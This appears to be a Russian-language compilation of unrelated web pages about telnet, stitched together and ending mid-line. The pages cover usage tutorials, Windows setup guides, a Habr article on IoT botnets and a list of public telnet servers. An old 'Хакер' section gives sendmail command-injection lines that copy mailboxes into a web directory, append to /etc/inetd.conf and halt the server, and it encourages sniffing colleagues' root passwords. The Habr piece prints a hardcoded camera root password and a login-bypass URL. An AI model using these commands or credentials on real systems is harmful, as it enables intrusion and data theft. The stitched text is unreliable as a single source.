Как пользоваться telnet | Losst
Telnet — это сетевая утилита, которая позволяет соединиться с удаленным портом любого компьютера и установить интерактивный канал связи, например, для передачи команд или получения информации. Можно сказать, что это универсальный браузер в терминале, который умеет работать со множеством сетевых протоколов.
Эта утилита очень часто использовалась раньше, для удаленного управления компьютером с Linux, но потом ей на замену пришел защищенный протокол SSH. Но telnet все еще используется, например, для тестирования сети, проверки портов, а также для взаимодействия с различными IoT устройствами и роутерами. В этой статье мы рассмотрим что такое telnet, а также как пользоваться telnet для решения своих задач.
Содержание статьи:
Что такое Telnet?
Как я уже сказал, эта утилита предназначена для создания интерактивного соединения между удаленными компьютерами. Она работает по протоколу TELNET, но этот протокол поддерживается многими сервисами, поэтому ее можно использовать для управления ими. Протокол работает на основе TCP, и позволяет передавать обычные строковые команды на другое устройство. Он может использоваться не только для ручного управления но и для взаимодействия между процессами.
Для работы с этим протоколом мы будем использовать утилиту telnet, ею очень просто пользоваться. Давайте рассмотрим синтаксис telnet:
$ telnet опции хост порт
Хост — это домен удаленного компьютера, к которому следует подключиться, а порт — порт на этом компьютере. А теперь давайте рассмотрим основные опции:
- -4 — принудительно использовать адреса ipv4;
- -6
— принудительно использовать адреса ipv6; - -8 — использовать 8-битную кодировку, например, Unicode;
- -E — отключить поддержку Escape последовательностей;
- -a — автоматический вход, берет имя пользователя из переменной окружения USER;
- -b — использовать локальный сокет;
- -d — включить режим отладки;
- -р — режим эмуляции rlogin;
- -e — задать символ начала Escape последовательности;
- -l — пользователь для авторизации на удаленной машине.
Это все, что касается команды telnet для установки соединения. Но соединение с удаленным хостом, это только полдела. После установки подключения telnet может работать в двух режимах:
- Построчный — это предпочтительный режим, здесь строка текста редактируется на локальном компьютере и отправляется только тогда, когда она будет полностью готова. На такая возможность есть не всегда и не у всех сервисов;
- Посимвольный — все набираемые вами символы отправляются на удаленный сервер. Тут будет сложно что-либо исправить, если вы допустили ошибку, потому что Backspace тоже будет отправляться в виде символа и стрелки движения тоже.
Использование telnet заключается в передаче специальных команд. У каждого сервиса свои команды, но у протокола есть свои команды telnet, которые можно применять в консоли telnet.
- CLOSE — закрыть соединение с сервером;
- ENCRYPT — шифровать все передаваемые данные;
- LOGOUT — выйти и закрыть соединение;
- MODE — переключить режим, со строчного на символьный или с символьного на строчный;
- STATUS — посмотреть статус соединения;
- SEND — отправить один из специальных символов telnet;
- SET — установить значение параметра;
- OPEN — установить подключение через telnet с удаленным узлом;
- DISPLAY — отобразить используемые спецсимволы;
- SLC — изменить используемые спецсимволы.
Мы не будем рассматривать все команды, поскольку они вам вряд ли понадобятся, а если и понадобятся, то вы легко сможете их найти в официальной документации.
Как пользоваться telnet?
Дальше мы рассмотрим как использовать telnet для решения ваших задач. Обычно, утилита уже установлена в большинстве систем, но если это не так, то вы можете установить telnet из официальных репозиториев, например, в Ubuntu:
sudo apt install telnet
Теперь перейдем к применению утилиты. Изначально она использовалась для удаленного управления компьютером, но поскольку потом был разработан более безопасный протокол SSH, использовать ее перестали.
1. Доступность сервера
Утилита все еще может быть полезной при поверке доступности узла, для этого просто передайте ей ip адрес или имя хоста:
telnet 192.168.1.243
Для этого не обязательно применять telnet, есть ping.
2. Проверка порта
C помощью telnet мы можем проверить доступность порта на узле, а это уже может быть очень полезным. Чтобы проверить порт telnet выполните:
telnet localhost 123
$ telnet localhost 22
В первом случае мы видим, что соединение никто не принимает, во втором же выводится сообщение об успешном подключении и приветствие SSH сервера.
3. Отладка
Чтобы включить режим отладки и выводить более подробную информацию во время работы используйте опцию -d во время подключения:
sudo telnet -d localhost 22
4. Консоль telnet
Использование консоли telnet тоже важный момент в разборе как пользоваться telnet. В основном режиме вы можете выполнять команды, на удаленном сервере, если же вы хотите адресовать команду именно telnet, например, для настройки ее работы, необходимо использовать спецсимвол для открытия консоли, обычно утилита сразу говорит вам что это за символ, например, по умолчанию используется «^[«:
Для его активации вам нужно нажать сочетание клавиш Ctrl+[, затем вы уведите приглашение ввода telnet.
Чтобы посмотреть все доступные команды, вы можете набрать ?. Например, вы можете посмотреть статус подключения:
telnet> status
Здесь есть и другие интересные возможности. Такие вещи можно проделывать при любом подключении с помощью утилиты telnet.
5. Посмотреть сайт telnet
Один из распространенных способов использования telnet — это тестирование сайта из консоли. Да, красивую веб-страницу вы не получите, но можете вручную собрать запросы и видеть все переданные сервером данные.
telnet opennet.ru 80
Затем наберите команду веб-серверу:
GET /
Веб сервер вернет полностью страницу, а также заголовки, которые необходимы для ее отображения браузером.
6. Удаленное управление telnet
Настоятельно не рекомендуется использовать небезопасный telnet для удаленного управления, потому что все команды и пароли могут быть прослушаны сторонним пользователем. Но иногда, например, для роутеров telnet все же используется для удаленного управления. Все работает точно так же, как и для других подключений, только нужно использовать порт 23, а на удаленном компьютере должен быть установлен telnet-server:
telnet localhost 23
Тут порт можно даже не указывать, потому что по умолчанию будет использоваться именно 23. Далее, вам нужно ввести логин и пароль, а затем вы сможете выполнять команды в удаленной системе.
Выводы
В этой статье мы рассмотрели примеры использования telnet, а также что представляет из себя эта утилита, хотя она уже не используется по своему основному назначению, но до сих пор может быть полезной многим пользователям и системным администраторам. Если у вас остались вопросы, спрашивайте в комментариях!
Учимся использовать Telnet #1 — «Хакер»
Часть первая. Хочу но не
могу.
Зачастую меня спрашивают ,
«Как типа телнет поюзать?» Гммм, ну начнем с
того что «телнет» в привычном понимании —
это всего лишь терминал ,который позволяет
несчастному юзеру стать клиентом
какого-нибудь сервиса завязанного на TCP/IP.
Соответственно, для начала нужно определиться
,куда нам нужно)) и нужно ли
нам это… Часто задаваемый вопрос номер два , а
где мне взять телнет клиента(терминал)? Ну
большинство начинающих странников (от слова
странный) даже не догадываются о том ,что телнет
клиент уже стоит на машине))) вызовите командную
строку дос и наберите там telnet (при условии ,что вы
уже подключены в сеть). Добрый windows порадует вас
на редкость кривым клиентом, не имеющим
возможности настройки типа терминала.Гораздо
более приятно пользоваться универсальным
клиентом SecureCRT (http://www.vandyke.com).Если
у тебя стоит Linux или BSD ,то ты уже достиг
могущества и тебе осталось в X`ах вызвать консоль
и набрать telnet.
Коннект производится так:
telnet hostname/IP port
Где hostname/IP — имя хоста/IP на который ты решил
повеситься, port — номер порта, через который ты
собрался иметь удаленную систему.
Часть Вторая. Безвозвратно
погибшее прошлое.
Итак для чего изачально был
нужен этот чудо терминал? Для коннекта на порт 23,
который использует UNIX telnetd ,то бишь телнетный
демон. В результате ,после ввода имени
пользователя и пароля ты вываливаешся прямо в shell
и можешь управлять(с правами назначенными тебе
админом) удаленной машиной так же , как будто ты
сидишь непосредственно за ней))). Но в сем сервисе
было столько багов , что умные люди его давно
пофиксили и перешли на SSH. Основная проблема в
том, что юзер, нюхающий траффик в локалке по 23
порту может без проблем прочитать админовские
login&password (никакого шифрования) сплошной plain text.
БРРРРРР. Но если ты ,находясь в локальной сети
своей организации, набрал telnet servername и увидел
нечто типа:
Linux RedHat 6.0
login
Значит ты теперь можешь смело включать сниффер
на 23 порт и ловить пакетики)) Ну за один рабочий
день ты наверняка получишь рутовый логин и
пароль)))
Часть Третья. SendMail
зачастую все еще дыряв.
Гммм. Ну нафига нам сперся 23
порт )))? Попробуем поиметь через 25, то бишь sendmail.
Выглядит это примерно так:
telnet hostname 25
Trying 194.68.13.231…
Connected to gwx3.host.ru.
Escape character is ‘^]’.
220 gwx3.host.ru ESMTP Sendmail 8.9.3/8.9.3; Tue, 1 Aug 2000 08:54:59 +0400
УРА ты повесился напрямую на 25 порт что дальше?
Дальше поздороваемся:
HELO domainname.com
(кстати имя домена может быть любое, но
желательно реально существующее к примеру YAHOO.COM)
далее пишем от кого письмо:
mail from : [email protected]
— вот тебе и анонимность ….)))
теперь кому:
rcpt to : username
username — имя юзера которому шлем мыло, root — есть
всегда)))))
ну теперь сама мессага:
data — жмем Enter
здесь печатаем текст .
для того чтобы закончить послание ставим .(точку)
и жмем Enter
quit — валим отсюда))
ВСЕ!!! мы только что отправили
вполне анонимное мыло без всяких там клиентов)))
Радость в том ,что , зачастую, в sendmail есть
следующие баги:
1. mail from : sendername|any_command_as_U_want — возможность
выполнения любой UNIX команды
rcpt to : username|any_command_as_U_want — возможность
выполнения любой UNIX команды
2. rcpt to : /any_directory/any_filename — возможность
направить мессагу напрямую в файл)))
Один гражданин ,назвавший себя VIRUSMAN недавно
прислал письмо где был следующий вопрос:
«А что мне это дает?» Ну что я могу сказать
………
В первом случае можно сделать нечто типа:
/bin/ls /var/spool/mail>/home/httpd/html/users_info.txt — получаем
список почтовых юзерей
/bin/cat /var/spool/mail/username>/home/httpd/html/user_box.txt —
получаем контент ящика юзера.
/bin/echo any_commands_here>>/etc/inetd.conf — добавляем
произвольные команды в конец инет демона)).
/sbin/halt — паркуем сервак))) и т.д….
Во втором случае …)))
Ну попробуй подумать, пиши что хочешь и куда
хочешь))) Можно дописать произвольные команды
скажем в /etc/inetd.conf … все зависит от твоей
фантазии.
Часть четвертая,
прикладная пауза.
Ты конечно уже юзал проги
которые определят провайдера по IP)) Срочно сотри
их, больше никогда не юзай — вспомни про http://www.ripe.net.
На RIPE.NET запросы делаются так:
telnet whois.ripe.net 43
Trying 193.0.0.129…
Connected to whois.ripe.net.
Escape character is ‘^]’.
194.87.0.50 — пишем айпишник и получаем подробную
инфу кто это и откуда.
% Rights restricted by copyright.
See http://www.ripe.net/ripencc/pub-services/db/copyright.html
inetnum: 194.87.0.0 — 194.87.3.255
netname: DEMOS-CORP
descr: DEMOS Corporate Network
descr: Demos Plus Co. Ltd.
descr: Moscow, Russia
country: RU
admin-c: PA75
tech-c: ED12-RIPE
tech-c: GB90-RIPE
tech-c: GK41-RIPE
status: ASSIGNED PA
mnt-by: AS2578-MNT
changed: [email protected]
19970313
changed: [email protected]
19990804
source: RIPE
route: 194.87.0.0/19
descr: DEMOS
origin: AS2578
notify: [email protected]
mnt-by: AS2578-MNT
changed: [email protected]
19970627
source: RIPE
person: Paul Antonov
address: Demos Plus Ltd.
address: Ovchinnikovskaya nab. 6/1
address: Moscow 113035
address: Russia
phone: +7 095 9566233
phone: +7 095 9566234
fax-no: +7 095 9565042
e-mail: [email protected]
nic-hdl: PA75
changed: [email protected] 19960618
source: RIPE
person: Evgeny R Didenko
address: Demos-Internet JSC
address: 6-1 Ovchinnikovskaya nab.
address: Moscow 113035
address: Russia
phone: +7 095 737-0436
phone: +7 095 737-0400
fax-no: +7 095 233 5016
e-mail: [email protected]
nic-hdl: ED12-RIPE
notify: [email protected]
changed: [email protected]
19960415
changed: [email protected]
19991230
source: RIPE
person: Gera V Bragin
address: Demos Company Ltd.
address: 6-1 Ovchinnikovskaya nab.
address: Moscow 113035
address: Russia
phone: +7 095 737 0436
phone: +7 095 737 0400
fax-no: +7 095 956 5042
e-mail: [email protected]
nic-hdl: GB90-RIPE
notify: [email protected]
changed: [email protected]
19970105
changed: [email protected]
19991104
source: RIPE
person: Galina Kovalenko
address: Genesys Telecommunications Lab.
address: 11, 2nd Obydenskiy pereulok
address: Moscow 119034
address: Russia
phone: +7 095 255 7940
fax-no: +7 095 255 7941
e-mail: [email protected]
nic-hdl: GK41-RIPE
remarks: +7 095 255 7940 ext 2051
notify: [email protected]
changed: [email protected]
20000731
source: RIPE
Connection closed by foreign host.
Использование Telnet Server – Addreality Customer Service
В Addreality Player есть возможность мониторинга работы Player при помощи Telnet, для активации Telnet-сервера требуется запустить его в настройках Player. После включения соответствующих настроек Telnet-сервер будет автоматически запускаться при запуске Player.
Включение Telnet-сервера
Использование Telnet можно включить двумя способами: через настройки Player и через Addreality Designer.
Для того чтобы запустить Telnet сервер через Designer, выполните следующие шаги:
1. Откройте главный экран Addreality Designer
2. Нажмите правой кнопкой на нужном устройстве
3. Выберите пункт «Настройки Telnet-сервера»
4. В открывшемся окне поставьте галочку у поля «Включено», выберите нужный порт и нажмите «Изменить»
Для того чтобы запустить Telnet-сервер в настройках Player, выполните следующие шаги:
- На главном экране Player откройте раздел настроек «Устройства»
- Выберите пункт «Telnet Server»
- Выберите нужный порт и включите Telnet-сервер
После этого при помощи Telnet можно подключиться к запущенному серверу и, при помощи команд, запросить время работы Player и Telnet сервера.
Команды:
- plu — выводит время работы Player (в мс)
- seu — выводит время работы Telnet-сервера (в мс)
Пример подключения к Telnet-серверу
Для подключения к Telnet-серверу выполните следующие действия:
- В ОС Windows откройте командную строку
- Введите «telnet» и нажмите Enter
- Для подключения к Telnet-серверу Player требуется ввести команду «o IP_адрес_устройства порт»
- После подключения к Telnet-серверу можно передавать команды и получать соответствующий ответ в виде числа
Пример команды для подключения к Telnet-серверу:
Пример запросов к Telnet-серверу и ответов:
Из данных ответов можно заключить, что плеер запущен в течение 70.4 секунд, а Telnet-сервер запущен в течение 72.5 секунд.
Telnet — Разные уроки по Программированию
Команды telnet позволяют связаться с удаленным компьютером, использующим протокол Telnet. Можно выполнить команду telnet без параметров для входа в контекст telnet, обозначенный в командной строке Telnet (telnet). В командной строке Telnet используйте следующие команды для управления компьютером, на котором выполняется клиент Telnet.
Команды tlntadmn позволяют удаленно управлять компьютером, на котором выполняется сервер Telnet. Эти команды выполняются из командной строки. Команда tlntadmn без параметров отображает настройку локального сервера.
Чтобы использовать команды telnet из командной строки Telnet
Чтобы запустить клиент Telnet и ввести командную строку Telnet
Синтаксис
telnet [\\удаленный_сервер]
Параметры
- \\удаленный_сервер
- Отображает имя подключаемого сервера
- /?
- Отображает справку в командной строке.
Примечания
- При использовании команды telnet без параметров запускается клиент Telnet.
- В командной строке Telnet необходимо использовать команды Telnet.
Чтобы остановить клиент Telnet
Синтаксис
quit
Параметры
отсутствуют
Примечания
- Допускается сокращение этой команды до q.
Чтобы подключить клиент Telnet к удаленному компьютеру
Синтаксис
open [\\удаленный_сервер] [порт]
Параметры
- \\удаленный_сервер
- Указывает имя управляемого сервера. Если сервер не указан, используется локальный сервер.
- порт
- Указывает используемый порт. Если порт не указан, используется порт по умолчанию.
Примечания
- Допускается сокращение этой команды до o.
Примеры
Чтобы подключиться к удаленному серверу Redmond через порт 44, введите в командную строку:
o redmond 44
Чтобы отключить клиент Telnet от удаленного компьютера
Синтаксис
close [\\удаленный_сервер]
Параметры
- \\удаленный_сервер
- Указывает имя управляемого сервера. Если сервер не указан, используется локальный сервер.
Примечания
- Допускается сокращение этой команды до c.
Примеры
Чтобы отключиться от удаленного сервера Redmond, введите команду:
c redmond 44
Чтобы настроить параметры клиента Telnet
Синтаксис
set [\\удаленный_сервер] [ntlm] [ localecho] [term {ansi | vt100 | vt52 | vtnt}] [escape символ] [ logfile имя_файла] [logging] [bsasdel] [crlf] [delasbs] [mode {console | stream}] [?]
Параметры
- \\удаленный_сервер
- Указывает имя управляемого сервера. Если сервер не указан, используется локальный сервер.
- ntlm
- Включает проверку подлинности NTML, если она доступна на удаленном сервере.
- localecho
- Включает режим локального отображения команд.
- term {ansi | vt100 | vt52 | vtnt}
- Задает терминал указанного типа.
- escape символ
- Задает управляющий символ. Управляющий символ может быть отдельным символом или сочетанием клавиши CTRL и символа. Чтобы задать комбинацию клавиш, удерживайте клавишу CTRL во время ввода символа, который необходимо назначить.
- logfile имя_файла
- Задает файл журнала активности Telnet. Файл журнала должен располагаться на локальном компьютере. Запись в журнал начинается автоматически после выбора этого параметра.
- logging
- Включает ведение журнала. Если файл журнала не задан, выводится сообщение об ошибке.
- bsasdel
- Задает клавишу BACKSPACE, как удалить.
- crlf
- Назначает новый линейный режим, который опреляет клавишу ENTER как 0x0D, 0x0A.
- delasbs
- Назначает клавише DELETE значение удаления последнего символа.
- mode {console | stream}
- Задает режим работы.
- ?
- Позволяет просматривать полный синтаксис команды.
Примечания
- Чтобы отключить назначенный ранее параметр, в командной строке Teln
Телнет и ботнет / Хабр
Недавняя крупнейшая DDoS атака на DNS-серверы компании Dyn на Хабре не прошла незамеченной. Особенностью этого блэкаута стала широкое применение http
запросов c IoT устройств и открытый 23-й tcp
порт, используемый службой telnet
.
Оказывается, телнет жив и хорошо устроился на встроенных системах и приманках. По злому-ли умыслу или человеческому недомыслию что это, глупость или измена? telnet порт был открыт и вовсю гадил у огромного количества IoT устройств, за несколько месяцев до блэкаута, но контр-мер не принимали, пока гром не грянул.
Теоретический минимум
Телнет появился в конце 1960-х, а первый стандарт с tcp/ip
и виртуальным терминалом относится к 1983 г. Естественно, что в момент создания никого не заботил тот факт, что данные передаются в простом текстовом формате. Сетевой протокол tcp/ip
в то время еще только созревал в ARPANET.
Telnet was designed to work between any host (i.e., any operating system) and any terminal. Its specification in RFC 854 [Postel and Reynolds 1983a] defines the lowest common denominator terminal, called the network virtual terminal (NVT). The NVT is an imaginary device from which both ends of the connection, the client and server, map their real terminal to and from. That is, the client operating system must map whatever type of terminal the user is on to the NVT. The server must then map the NVT into whatever terminal type the server supports.
Как и многие популярные протоколы сети интернет, он тоже прост до архаичности и непотопляем в силу своей простоты. И точно так же часто используется не по назначению.
(5:574)$ grep -w ^telnet /etc/services
telnet 23/tcp # Telnet
telnet 23/udp
Любопытный факт, оказывается есть такая штука как telnets
, но что это за чудо, сказать не могу. Даже поисковики удивились.
(5:575)$ grep -w ^telnets /etc/services
telnets 992/tcp # telnet protocol over TLS/SSL
telnets 992/udp
Вот весь нехитрый список команд:
EOF 236 end-of-file
SUSP 237 suspend current process (job control)
ABORT 238 abort process
EOR 239 end of record
SE 240 suboption end
NOP 241 no operation
DM 242 data mark
BRK 243 break
IP 244 interrupt process
AO 245 abort output
AYT 246 are you there?
EC 247 escape character
EL 248 erase line
GA 249 go ahead
SB 250 suboption begin
WILL 251 option negotiation
WONT 252 option negotiation
IX) 253 option negotiation
DONT 254 option negotiation
IAC 255 data byte 255
Телнет поддерживает полу-дуплексный, по-символьный и по-строчный режимы ввода, по умолчанию программа использует последний. Из ман страницы.
Once a connection has been opened, telnet will attempt to enable the TELNET LINEMODE option. If this fails, telnet will revert to one of two input modes: either ‘‘character at a time’’ or ‘‘old line by line’’ depending on what the remote system supports.
Используется внутриполосная сигнализация — команды и данные передаются в одном потоке.
Телнет honeypot
В прошлом году специалисты крупного чешского DNS провайдера NIC.CZ, выкатили приманку — honeypot и стали наблюдать за трафиком.
Оказалось, что telnet
трафик на три порядка превышает трафик по ssh
. На вертикальной шкале графика количество попыток входа в систему для telnet
и поданных команд для ssh
. Шкала логарифмическая. Кликабельно.
Число уникальных IP.
География стран, кликабельно. Обратите внимание на совпадение с результатом Shodan, ниже по тексту.
Платформа основных устройств, кликабельно.
На первом месте RomPager/4.07 HTTP server — дырявый встроенный веб сервер, часто используемый в домашних роутерах. Таких, по словам аналитиков из Allegro Software Development, может быть 75 миллионов. На втором месте популярный тулкит gSOAP/2.7, а бронзовая медаль досталась h364DVR 1.0 — RTSP (Real Time Streaming Protocol) серверу видеорегистратора.
Собственно, CCTV камеры обозначены неблагозвучным Dahua Rtsp Server и также имеют проблемы с безопасностью. С мая 2016 г. эти устройства резко повысили свою активность, временами было зарегистрировано 8 тыс. уникальных IP адресов за сутки.
Несмотря на локальный характер эксперимента, выводы о надвигающихся крупномасштабных IoT угрозах будто напрашивались. Обработав данные с более чем 6 миллионов уникальных IP адресов, чешские аналитики четко выявили тенденцию: встроенные системы наиболее уязвимы, особенно CCTV видеокамеры, которые зачастую вырождаются в монокультуру с одинаковым оборудованием, начинкой, списком уязвимостей. Первый звоночек прозвучал тихо и его не услышали.
Огласите весь список
Эксперты компании Rapid7, используя инфраструктуру своего Project Sonar, провели глобальное сканировaние портов по всему миру, проверив основные tcp
порты IPv4 диапазона. Исследование оказалось довольно подробным и интересным.
- 15 миллионов хостов с открытым telnet портом. (Карл!)
- 11 миллионов хостов с открытым доступом к RDBMS
- 4.5 миллионов хостов с открытым доступом к сервисам печати.
Вот как распределилась первая десятка tcp/ip
протоколов, по величине.
Port Protocol Number Percent
80 HTTP 76,266,507 19.89%
443 HTTPS 50,507,072 13.17%
22 SSH 21,692,582 5.66%
21 FTP 20,375,533 5.31%
25 SMTP 19,888,484 5.19%
8080 http-alt0 17,477,357 4.56%
23 telnet 14,871,682 3.88%
53 DNS 12,602,272 3.29%
143 IMAP 11,467,158 2.99%
110 POP3 11,073,439 2.89%
Вся тридцатка протоколов в таблице..
Седьмое место в общем зачете, кто бы мог ожидать? А если объединить все http*
в одну категорию, то телнет и вовсе будет на пятом месте! Как видите отставание от ssh
совсем небольшое. Это был второй звоночек, но и его никто не услышал.
That said, the fact that we cannot seem to stomp out telnet in production completely is both frustrating and worrying. According to our scans, there are over 14 million devices that appear to be offering telnet services on the internet today.
100500 уязвимых CCTV видеокамер
Специалисты из Flashpoint по следам ботнета Mirai прошерстили интернет на предмет обнаружение интересных свойств CCTV видеокамер XiongMai Technologies и Dahua. Как любит говорить Михаил Задорнов «держитесь за стул, иначе вы упадете».
По данным на 6.10.2016 более 515 тыс. устройств с веб сервером uc-httpd 1.0.0.0
подвержены одновременно CVE-2016-1000245 и CVE-2016-1000246.
Уязвимость CVE-2016-1000245 — это просто караул. На всех девайсах один и тот же рутовый пароль xc3511, который нельзя изменить так как на системе нет команды passwd
. Служба telnet
включена и из настроек никак не отключается, разве что удалить инит скрипт из /etc/init.d/rcS
.
/etc $ cat passwd
root:absxcfbgXtb3o:0:0:root:/:/bin/sh
/etc $ cat passwd-
root:ab8nBoh4mb8.g:0:0::/root:/bin/sh
All internet-capable XiongMai Technology boards running the DVR/NVR CMS (Also known as
NetSurveillance) enable the telnet service to run on the primary ethernet interface. This service
is run via /etc/rcS and cannot be disabled. The user «root» has a hardcoded and immutable
password of xc3511. These systems do not have the «passwd» tool installed and the root
password cannot be changed from command line nor from the web interface.
Уязвимость CVE-2016-1000246 не уступает первой. Можно обойти ввод учетной записи и пароля, если зайти через http://<IP>/DVR.htm
.
Many known XiongMai DVRs, NVRs and IP Cameras run «CMS» (also called NetSurveillance) built by XM Technologies. This software is also used by all downstream vendors of XiongMai Technologies. The login page for these devices can be bypassed by simply changing the from http://_IP_/Login.htm to http://_IP_/DVR.htm. This allows you access to view all the camera systems without authentication. Furthermore, there is no logging on the system so user management is not possible. The web-server version on all affected products is the same; “uc-httpd”. All products currently affected by CVE-2016-1000245 are also vulnerable to the authentication bypass.
Надеюсь, что в наших аэропортах не установлены эти самые XiongMai и Dahua.
Итоги
Телнет оказался очень живуч и даже спустя десятилетия после появления ssh
не спешит покидать сцену. Он вполне пригоден, даже полезен, если его использовать по назначению — в пределах прямой видимости между клиентом и сервером. Дело, однако в том, что телнет вырвался на волю из серверной, как джин из бутылки и уже начал пошаливать. По чьей вине это случилось?
С моего забора вижу так. Во-первых, основная вина на горе-производителях дырявых IoT устройств и встроенных систем. Все эти XiongMai и Dahua. С опозданием, но производитель отзывает из продажи IP-камеры. Однако, беглый обзор новостей показывает, что PR-отделы китайских компаний и сотрудники министерства коммерции не даром едят свой хлеб.
Мне это отделение известно! Там кому попало выдают паспорта![1]
Во-вторых, конечно виноваты регулирующие органы — те, кто их сертифицирует и дает положительное заключение. Из отчета Rapid7.
These results all speak to a fundamental failure in modern internet engineering. Despite calls from the Internet Architecture Board, the Internet Engineering Task Force, and virtually every security company and security advocacy organization on Earth, compulsory encryption is not a default, standard feature in internet protocol design. Cleartext protocols “just work,” and security concerns are doggedly secondary.[2]
В-третьих, подрядчики и интеграторы, которые засадили весь мир этими CCTV камерами.
P. S. Пока набирал текст, возникло сильное желание — проверить домашний роутер nmap-ом и прочими инструментами. Проверил и успокоился, но видимо ненадолго.
Использованные материалы
- W. Richard Stevens TCP/IP Illustrated, Volume 1, The Protocols, 1994.
- TCP/IP крупным планом
- Telnet stále žije – alespoň na „chytrých“ zařízeních
- ↑ Из романа М. Булгакова «Мастер и Маргарита».
- ↑ Результаты говорят сами за себя. Несмотря на все призывы IAB, IETF и практически всех экспертов по безопасности, обязательное шифрование еще не стало нормой при разработке интернет стандартов. Обычный текст, «просто работает» и из-за этого игнорируются требования безопасности.
Как включить Telnet-клиент в Windows Server 2008 и Windows 7
Telnet-клиент позволяет вам подключаться к удаленному Telnet-серверу и запускать на нем различные приложения. После входа в систему, пользователь получает в свое распоряжение командную строку сервера, на котором запущена служба telnet. Команды, которые вы вводите в командной строке клиента telnet направляются на сервер telnet и выполняются там, точно так же как если бы вы вошли локально в эту систему и пользовались командной строкой. Вывод этих команд возвращается обратно в клиент Telnet, где они становятся доступными для просмотра. Также,например с помощью telnet можно отправить почту из командной строки.
Клиент Telnet встроен в Microsoft Windows Server 2008 и Windows 7, однако, он по умолчанию отключен. Т.е. при первом запуске из командной строки команды telnet, система ответит, что такая команда не найдена. Удобство протокола Telnet заключается в том, что его можно использовать для доступа к различным ОС (Linux, Unix или Windows) и устройствам (модемы, коммутаторы, маршрутизаторы). Однако в последнее время специалисты Microsoft перестали жаловать telnet, теперь если вам нужен доступ к командной строке другого компьютера, работающего под ОС Windows, они рекомендуют использовать функции Windows Remote Desktop, ведь это намного проще. В ОС Windows Server 2008 также возможно использовать функцию Remote Shell (WinRS), который считается более безопасным, чем telnet. Я, кстати, во многих случаях предпочитаю вместо telnet использовать для удаленного управления системами psexec.
Как было отмечено выше, клиент Telnet считается дополнительной функцией в обеих операционных системах, и может быть легко установлен:
В Windows Server 2008, вы можете установить клиент Telnet с помощью мастера Add Features Wizard в Server Manager. В Windows 7, вы можете установить клиент Telnet, воспользовавшись опцией Turn Windows Features On or Off на панели управления.
Чтобы установить клиент Telnet в Windows Server 2008, выполните следующие действия:
- Откройте Server Manager, нажав кнопку Start > Server Manager, или с помощью контекстного меню значка «Мой компьютер».
- В левой панели Server Manager, нажмите на Features.
- Нажмите кнопку Add Features.
- В списке доступных функций, прокрутите ползунок вниз и выберите Telnet Client, а затем нажмите кнопку Далее.
5. На странице Подтверждение нажмите на Install.
6. После завершения установки, нажмите на «Close«.
Кстати, установить клиент telnet можно и из командной строки, для этого нужно набрать следующую команду:
Servermanagercmd –I Telnet-Client
Чтобы установить клиент Telnet в Windows 7, выполните следующие действия:
- Перейдите в Start > Control Panel > Programs, а затем нажмите кнопку Turn Windows features on or off. От вас может потребоваться введение пароля администратора, выполните это.
- В окне функций Windows найдите Telnet Client и отметьте его галочкой.
3. Нажмите кнопку ОК. Процесс установки может занять несколько минут, а когда он завершает вы можете приступить к использованию клиента Telnet.
Telnet — Список серверов Telnet
Места для Telnet
Текстовый Интернет может быть захватывающим, информативным и интересным. Используя telnet, вы можете получить доступ к множеству этих ресурсов в Интернете. Ниже вы найдете списки нескольких мест, с которых можно начать. Если у вас есть что добавить, просто отправьте электронное письмо по адресу [email protected].
Разные места развлечений
- rainmaker.wunderground.com :: погода через telnet!
- Индия.colorado.edu 13 (Узнайте время) :: получите время
- telehack.com 23 :: Telehack
- telehack.com :: Telehack — web
- freechess.org 5000 :: freechess.org
- полотенце.blinkenlights. nl 23 :: Звездные войны asciimation
- полотенце.blinkenlights.nl 666 :: The Bofh Excuse Server
- mtrek.com:1701 :: mtrek (игра на тему звездного пути)
- xmltrek.com:1701 :: xmltrek (звездный путь тематическая игра)
Грязи, болтушки, BBS и другие системы
- bbs.archaicbinary.net :: Archaic Binary
- ateraan.com 4002 :: Новые миры — Ateraan
- avalon-rpg.com 23 :: Avalon: The Legend Lives
- aardmud.org 4000 :: Aardwolf MUD
- bbs.armageddonbbs. com 23 :: Armageddon BBS
- 52.88.68.92 1234 :: Cuban Bar
- TextMMOde.com 23 :: Sands of Time / Deep Space MMO
- legendofthereddragon.ca 23 :: Legend of the Red Dragon (Канада)
- lord .stabs.org 23 :: Легенда о красном драконе
- thehatshop.mudhosting.net 3000 :: Залы Святых
- eclipse.cs.pdx.edu 7680 :: Новолуние
- batmud.bat.org 23 :: BatMUD
- Forgottenkingdoms.org 4000 :: Forgotten Kingdoms
- Mush.shelteringcolorado.com 2601 :: Убежище Неба: Ночной Колорадо
- igormud.org 1701 :: Игорь MUD /
- zombiemud.org 23 :: Зомби MUD
- achaea.com 23 :: Ахея, Сны Божественных земель
- gcomm.com 23 :: Galacticomm BBS
- 1984.ws 23 :: 1984
Каталоги
Каталог bbs с поиском по местоположению:
http: // vintagebbs.org / bbsLookup.php
Jumpjet имеет хороший список местоположений Telnet, организованный по категориям:
http://www.jumpjet.info/Offbeat-Internet/Public/TelNet/url.htm
Synchronet — хороший список систем bbs:
http://synchro.net/sbbslist.html
Mudconnect ведет хороший список грязи и мычания:
Hytelnet — старый (ныне без обслуживания) каталог:
http://www.lights.ca/hytelnet/
Включение сервера telnet в Windows
В ОС Windows с настройками / установкой по умолчанию служба telnet не будет работать. Нам нужно изменить некоторые вещи, чтобы включить / установить эту функцию. Шаги различаются для XP и Windows 7.
Как установить telnet-сервер и клиент в Windows 7:
В Windows 7 функции telnet-клиента и telnet-сервера по умолчанию не устанавливаются. Мы можем добавить эти функции, выполнив следующие действия.
- Запустите окно « Windows Features », выполнив команду optionalfeatures из «Выполнить».
- Прокрутите вниз и выберите функции клиента Telnet и сервера Telnet. Если вы просто хотите подключиться к другим серверам telnet с этого компьютера, выберите только клиент telnet. Если вы хотите запустить telnet-сервер / службу на компьютере, выберите также функцию сервера.
- Нажмите ОК , и выбранные функции будут установлены.
Теперь вы можете проверить, что команда telnet работает. Хотя служба telnet установлена, она не запускается автоматически. Вы можете запустить службу из консоли управления службами (Services.МСК). Вы также можете запустить службу Telnet из командной строки.
Как удалить telnet-сервер и клиент
Вы можете выполнить те же шаги, что и упомянутые выше. Для удаления вам необходимо снять отметку с функций в окне « Windows Features ». Чтобы изменения вступили в силу, требуется перезагрузка.
Windows XP / Server 2003:
Запуск службы telnet
XP и 2K3 имеют службу telnet, но по умолчанию эта служба отключена.Вам необходимо включить и запустить службу. Откройте консоль управления службами, запустив services.msc из Запустите и запустите службу telnet. Если служба не запущена, при подключении через telnet возникает следующая ошибка.
C: \> telnet my2k3-pc
